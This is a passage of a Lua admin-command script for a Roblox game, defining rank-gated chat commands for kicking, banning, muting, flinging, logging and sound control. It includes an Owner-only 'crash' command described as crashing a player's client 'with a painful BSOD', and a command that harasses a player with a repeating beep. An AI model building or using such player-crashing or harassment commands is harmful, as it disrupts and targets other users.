  6030.  
  6031. [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
  6032. local Players = STRING:Scan(Arguments[1], Speaker)
  6033. for _,Player in pairs(Players) do
  6034. if Player.Character then
  6035. CORE:ExecuteResource("Gun", Player.Character)
  6036. end
  6037. end
  6038. end};
  6039.  
  6040. [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6041. local Players = STRING:Scan(Arguments[1], Speaker)
  6042. for _,Player in pairs(Players) do
  6043. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  6044. local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
  6045. Player.Character.Humanoid.WalkSpeed = 0
  6046. Player.Character.Torso.Anchored = true
  6047. coroutine.wrap(function()
  6048. local OldCFrame = Player.Character.Torso.CFrame
  6049. for i = 0,8,0.1 do
  6050. Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
  6051. wait()
  6052. end
  6053. Player.Character.Torso.Anchored = false
  6054. Player.Character:BreakJoints()
  6055. CORE:InvisiblePlayer(Player)
  6056. end)()
  6057. end
  6058. end
  6059. end};
  6060.  
  6061. [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
  6062. local Players = STRING:Scan(Arguments[1], Speaker)
  6063. for _,Player in pairs(Players) do
  6064. CORE:AnchorPlayer(Player)
  6065. end
  6066. end};
  6067.  
  6068. [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6069. local Players = STRING:Scan(Arguments[1], Speaker)
  6070. for _,Player in pairs(Players) do
  6071. CORE:UnanchorPlayer(Player)
  6072. end
  6073. end};
  6074.  
  6075. [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
  6076. local Players = STRING:Scan(Arguments[1], Speaker)
  6077. for _,Player in pairs(Players) do
  6078. CORE:InvisiblePlayer(Player)
  6079. end
  6080. end};
  6081.  
  6082. [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
  6083. local Players = STRING:Scan(Arguments[1], Speaker)
  6084. for _,Player in pairs(Players) do
  6085. CORE:VisiblePlayer(Player)
  6086. end
  6087. end};
  6088.  
  6089. [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6090. local Players = STRING:Scan(Arguments[1], Speaker)
  6091. for _,Player in pairs(Players) do
  6092. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6093. local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
  6094. local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
  6095. local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
  6096. local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
  6097. local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
  6098. local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
  6099. Fly:Play()
  6100. local Touched = false
  6101. coroutine.wrap(function()
  6102. repeat wait(0.1)
  6103. Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
  6104. until not Ast or Ast.Parent == nil or Touched == true
  6105. end)()
  6106. Ast.Touched:connect(function(Part)
  6107. if Touched == false then
  6108. Touched = true
  6109. Part:BreakJoints()
  6110. local Boom = Instance.new("Explosion", Workspace)
  6111. Boom.Position = Ast.Position
  6112. Boom.BlastPressure = 1000000
  6113. Boom.BlastRadius = 30
  6114. Fire.Heat = 0
  6115. Smoke.RiseVelocity = 0
  6116. Fly:Stop()
  6117. BoomSound:Play()
  6118. coroutine.wrap(function()
  6119. wait(3)
  6120. BoomSound:Stop()
  6121. if Ast and Ast.Parent ~= nil then
  6122. Ast:Destroy()
  6123. end
  6124. end)()
  6125. end
  6126. end)
  6127. end
  6128. end
  6129. end};
  6130.  
  6131. [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6132. local Success = {}
  6133. local Players = STRING:Scan(Arguments[1], Speaker)
  6134. for _,Player in pairs(Players) do
  6135. local PlayerRank = RANK:GetRank(Player)
  6136. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  6137. CORE:Kick(Player)
  6138. table.insert(Success, Player)
  6139. end
  6140. end
  6141. REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
  6142. end};
  6143.  
  6144. [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6145. local Success = {}
  6146. local Players = STRING:Scan(Arguments[1], Speaker)
  6147. for _,Player in pairs(Players) do
  6148. local PlayerRank = RANK:GetRank(Player)
  6149. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  6150. RANK:RemoveRank(Player)
  6151. table.insert(Settings.Ranks.Banned, Player.Name)
  6152. CORE:Kick(Player)
  6153. table.insert(Success, Player)
  6154. end
  6155. end
  6156. REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
  6157. end};
  6158.  
  6159. [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6160. local Success = {}
  6161. local Players = STRING:Scan(Arguments[1], Speaker)
  6162. for _,Player in pairs(Players) do
  6163. local PlayerRank = RANK:GetRank(Player)
  6164. if PlayerRank ~= "Owner" then
  6165. RANK:RemoveRank(Player)
  6166. table.insert(Settings.Ranks.Crashed, Player.Name)
  6167. CORE:Crash(Player)
  6168. table.insert(Success, Player)
  6169. end
  6170. end
  6171. REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
  6172. end};
  6173.  
  6174. [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6175. local Success = {}
  6176. local Players = STRING:Scan(Arguments[1], Speaker)
  6177. for _,Player in pairs(Players) do
  6178. local PlayerRank = RANK:GetRank(Player)
  6179. if PlayerRank ~= "Owner" then
  6180. RANK:RemoveRank(Player)
  6181. table.insert(Settings.Ranks.Muted, Player.Name)
  6182. GUI:CoreGui(Player, "Chat", false)
  6183. table.insert(Success, Player)
  6184. end
  6185. end
  6186. REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
  6187. end};
  6188.  
  6189. [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6190. local Players = STRING:Scan(Arguments[1], Speaker)
  6191. if #Players > 0 then
  6192. local Success = {}
  6193. for _,Player in pairs(Players) do
  6194. local RankName,RankNum = RANK:GetRank(Player)
  6195. if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
  6196. if not RANK:IsSupremeOwner(Player) then
  6197. if RankName == "Muted" then
  6198. GUI:CoreGui(Player, "Chat", true)
  6199. end
  6200. if RankNum > 0 then
  6201. GUI:TellNotAdmin(Player)
  6202. end
  6203. RANK:RemoveRank(Player)
  6204. table.insert(Success, Player)
  6205. end
  6206. end
  6207. end
  6208. REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
  6209. else
  6210. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6211. if Player then
  6212. local RankNum = RANK:ConvertRank(PlayerRank)
  6213. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6214. if not RANK:IsSupremeOwner(Player) then
  6215. RANK:RemoveRank(Player)
  6216. REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
  6217. end
  6218. end
  6219. end
  6220. end
  6221. end};
  6222.  
  6223. [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6224. local Players = STRING:Scan(Arguments[1], Speaker)
  6225. if #Players > 0 then
  6226. local Success = {}
  6227. for _,Player in pairs(Players) do
  6228. local PlayerRank,RankNum = RANK:GetRank(Player)
  6229. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  6230. RANK:RemoveRank(Player)
  6231. table.insert(Settings.Ranks.Member, Player.Name)
  6232. GUI:TellAdmin(Player)
  6233. table.insert(Success, Player)
  6234. end
  6235. end
  6236. REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
  6237. else
  6238. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6239. if Player then
  6240. local RankNum = RANK:ConvertRank(PlayerRank)
  6241. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6242. if not RANK:IsSupremeOwner(Player) then
  6243. RANK:RemoveRank(Player)
  6244. table.insert(Settings.Ranks.Member, Player)
  6245. end
  6246. end
  6247. else
  6248. RANK:RemoveRank(Arguments[1])
  6249. table.insert(Settings.Ranks.Member, Arguments[1])
  6250. end
  6251. end
  6252. end};
  6253.  
  6254. [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6255. local Players = STRING:Scan(Arguments[1], Speaker)
  6256. if #Players > 0 then
  6257. local Success = {}
  6258. for _,Player in pairs(Players) do
  6259. local PlayerRank,RankNum = RANK:GetRank(Player)
  6260. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  6261. RANK:RemoveRank(Player)
  6262. table.insert(Settings.Ranks.Admin, Player.Name)
  6263. GUI:TellAdmin(Player)
  6264. table.insert(Success, Player)
  6265. end
  6266. end
  6267. REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
  6268. else
  6269. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6270. if Player then
  6271. local RankNum = RANK:ConvertRank(PlayerRank)
  6272. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6273. if not RANK:IsSupremeOwner(Player) then
  6274. RANK:RemoveRank(Player)
  6275. table.insert(Settings.Ranks.Admin, Player)
  6276. end
  6277. end
  6278. else
  6279. RANK:RemoveRank(Arguments[1])
  6280. table.insert(Settings.Ranks.Admin, Arguments[1])
  6281. end
  6282. end
  6283. end};
  6284.  
  6285. [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6286. local Players = STRING:Scan(Arguments[1], Speaker)
  6287. if RANK:IsSupremeOwner(Speaker) then
  6288. if #Players > 0 then
  6289. local Success = {}
  6290. for _,Player in pairs(Players) do
  6291. if not RANK:IsSupremeOwner(Player) then
  6292. RANK:RemoveRank(Player)
  6293. table.insert(Settings.Ranks.Owner, Player.Name)
  6294. GUI:TellAdmin(Player)
  6295. table.insert(Success, Player)
  6296. end
  6297. end
  6298. REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
  6299. else
  6300. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6301. if Player then
  6302. local RankNum = RANK:ConvertRank(PlayerRank)
  6303. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6304. if not RANK:IsSupremeOwner(Player) then
  6305. RANK:RemoveRank(Player)
  6306. table.insert(Settings.Ranks.Owner, Player)
  6307. end
  6308. end
  6309. else
  6310. RANK:RemoveRank(Arguments[1])
  6311. table.insert(Settings.Ranks.Owner, Arguments[1])
  6312. end
  6313. end
  6314. end
  6315. end};
  6316.  
  6317. [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6318. local TableStorage = {}
  6319. for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
  6320. for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
  6321. for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
  6322. GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
  6323. end};
  6324.  
  6325. [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  6326. local TableStorage = {}
  6327. for _,Player in pairs(Server.Players:GetChildren()) do
  6328. local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
  6329. if ValidAdmin then
  6330. if PlayerRank == "Owner" then
  6331. table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
  6332. else
  6333. table.insert(TableStorage, Player.Name..": "..PlayerRank)
  6334. end
  6335. end
  6336. end
  6337. GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
  6338. end};
  6339.  
  6340. [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
  6341. GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
  6342. end};
  6343.  
  6344. [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
  6345. GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
  6346. end};
  6347.  
  6348. [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
  6349. GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
  6350. end};
  6351.  
  6352. [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6353. local TableStorage = {}
  6354. for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
  6355. for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
  6356. for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
  6357. GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
  6358. end};
  6359.  
  6360. [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6361. local TableStorage = {}
  6362. for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
  6363. for Num,PlayerName in pairs(PlayerNames) do
  6364. if PlayerRank == "Owner" then
  6365. table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
  6366. else
  6367. table.insert(TableStorage, PlayerName..": "..PlayerRank)
  6368. end
  6369. end
  6370. end
  6371. GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
  6372. end};
  6373.  
  6374. [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6375. GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
  6376. end};
  6377.  
  6378. [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6379. GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
  6380. end};
  6381.  
  6382. [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6383. GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
  6384. end};
  6385.  
  6386. [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6387. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  6388. if type(ExploitLog) ~= "table" then ExploitLog = {} end
  6389. GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
  6390. end};
  6391.  
  6392. [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6393. CommandLogs = {}
  6394. end};
  6395.  
  6396. [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6397. ChatLogs = {}
  6398. end};
  6399.  
  6400. [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6401. IRC.Logs = {}
  6402. end};
  6403.  
  6404. [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6405. CommandLogs = {}
  6406. ChatLogs = {}
  6407. IRC.Logs = {}
  6408. end};
  6409.  
  6410. [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6411. Server.GDS:SetAsync("ExploitLog", {})
  6412. end};
  6413.  
  6414. [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
  6415. local List,Correlate,SoundName = {},{},{}
  6416. for Name,Info in pairs(SoundList) do
  6417. local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
  6418. table.insert(List, View)
  6419. Correlate[View] = Info[1]
  6420. end
  6421.  
  6422. local CanClick = true
  6423. if Rank == "Member" then CanClick = false end
  6424. local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
  6425. Clicked.Event:connect(function(ClickName)
  6426. local OldSoundId = nil
  6427. SOUND:StopGlobalSound()
  6428. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  6429. SOUND:PlayGlobalSound(Correlate[ClickName])
  6430. end
  6431. end)
  6432. end};
  6433.  
  6434. [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6435. SOUND:SyncSoundList(Speaker)
  6436. end};
  6437.  
  6438. [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6439. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
  6440. if Answer == "Yes" then
  6441. Server.Workspace.Terrain:Clear()
  6442. end
  6443. end};
  6444.  
  6445. [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6446. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
  6447. if Answer == "Yes" then
  6448. for _,Obj in pairs(Workspace:GetChildren()) do
  6449. if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
  6450. Obj:Destroy()
  6451. end
  6452. end
  6453. end
  6454. end};
  6455.  
  6456. [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6457. CORE:MakeBase()
  6458. end};
  6459.  
  6460. [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
  6461. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6462. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6463. CustomSounds = {}
  6464. end
  6465. if tostring(Arguments[1]) then
  6466. local Request = MARKET:GetItemInfo(Arguments[1])
  6467. if Request.AssetTypeId == 3 then
  6468. table.insert(CustomSounds, {Arguments[2], Arguments[1]})
  6469. SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
  6470. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6471. GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
  6472. else
  6473. GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
  6474. end
  6475. end
  6476. end};
  6477.  
  6478. [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6479. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6480. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6481. CustomSounds = {}
  6482. end
  6483.  
  6484. local Removed = {}
  6485. for Num,Data in pairs(CustomSounds) do
  6486. if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
  6487. table.insert(Removed, Data[1])
  6488. table.remove(CustomSounds, Num)
  6489. end
  6490. end
  6491.  
  6492. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6493.  
  6494. SOUND:SyncSoundList()
  6495.  
  6496. if #Removed > 0 then
  6497. GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
  6498. else
  6499. GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
  6500. end
  6501. end};
  6502.  
  6503. [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6504. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
  6505. if Answer == "Yes" then
  6506. Server.GDS:SetAsync("MML Custom Sounds", {})
  6507. SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
  6508. GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
  6509. end
  6510. end};
  6511.  
  6512. [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6513. local Players = STRING:Scan(Arguments[1], Speaker)
  6514. local SpeakerTesting = false
  6515. for _,Player in pairs(Players) do
  6516. if Player == Speaker then SpeakerTesting = true end
  6517. if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
  6518. CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
  6519. --wait(10)
  6520. --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
  6521. end)() end
  6522. end
  6523. if SpeakerTesting == false then
  6524. GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
  6525. end
  6526. end};
  6527.  
  6528. [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6529. local Players = STRING:Scan(Arguments[1], Speaker)
  6530. local Compile = {}
  6531. for _,Player in pairs(Players) do
  6532. local PlayerInfo = ClientInfo[Player.Name]
  6533. if PlayerInfo then
  6534. if PlayerInfo.Benchmark then
  6535. table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
  6536. else
  6537. table.insert(Compile, Player.Name..": No score")
  6538. end
  6539. end
  6540. end
  6541. GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
  6542. end};
  6543.  
  6544. [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
  6545. local Players = STRING:Scan(Arguments[1], Speaker)
  6546. for _,Player in pairs(Players) do
  6547. CORE:Chatted(Arguments[2], Player, true)
  6548. end
  6549. end};
  6550.  
  6551. [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
  6552. CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
  6553. end};
  6554.  
  6555. [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
  6556. local Players = STRING:Scan(Arguments[1], Speaker)
  6557. for _,Player in pairs(Players) do
  6558. if Player.Character ~= nil then
  6559. if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
  6560. if Player.Character.Torso:FindFirstChild("Neck") then
  6561. Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6562. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6563. Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
  6564. local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
  6565. local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
  6566. end
  6567. end
  6568. end
  6569. end
  6570. end};
  6571.  
  6572. [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
  6573. local Players = STRING:Scan(Arguments[1], Speaker)
  6574. for _,Player in pairs(Players) do
  6575. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
  6576. Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6577. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6578. end
  6579. end
  6580. end};
  6581.  
  6582. [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
  6583. local Players = STRING:Scan(Arguments[1], Speaker)
  6584. for _,Player in pairs(Players) do
  6585. local _,RankNum = RANK:GetRank(Player)
  6586. if RankNum <= RANK:ConvertRank(Rank) then
  6587. CORE:FlingPlayer(Player)
  6588. end
  6589. end
  6590. end};
  6591.  
  6592. [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
  6593. local Players = STRING:Scan(Arguments[1], Speaker)
  6594. for _,Player in pairs(Players) do
  6595. local _,RankNum = RANK:GetRank(Player)
  6596. if RankNum <= RANK:ConvertRank(Rank) then
  6597. Flings[Player.Name] = true
  6598. CORE:FlingPlayer(Player)
  6599. end
  6600. end
  6601. end};
  6602.  
  6603. [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6604. local Players = STRING:Scan(Arguments[1], Speaker)
  6605. for _,Player in pairs(Players) do
  6606. local _,RankNum = RANK:GetRank(Player)
  6607. if RankNum <= RANK:ConvertRank(Rank) then
  6608. Flings[Player.Name] = nil
  6609. end
  6610. end
  6611. end};
  6612.  
  6613. [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6614. local Players = STRING:Scan(Arguments[1], Speaker)
  6615. for _,Player in pairs(Players) do
  6616. CORE:Nuke(Player)
  6617. end
  6618. end};
  6619.  
  6620. [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6621. local Players = STRING:Scan(Arguments[1], Speaker)
  6622. for _,Player in pairs(Players) do
  6623. Beeps[Player.Name] = true
  6624. SOUND:BeepPlayer(Player)
  6625. end
  6626. end};
  6627.  
  6628. [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6629. local Players = STRING:Scan(Arguments[1], Speaker)
  6630. for _,Player in pairs(Players) do
  6631. if Player.PlayerGui then
  6632. Beeps[Player.Name] = nil
  6633. for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
  6634. if Obj.Name == "Annoy" then
  6635. Obj:Stop()
  6636. Obj:Destroy()
  6637. end
  6638. end
  6639. end
  6640. end
  6641. end};
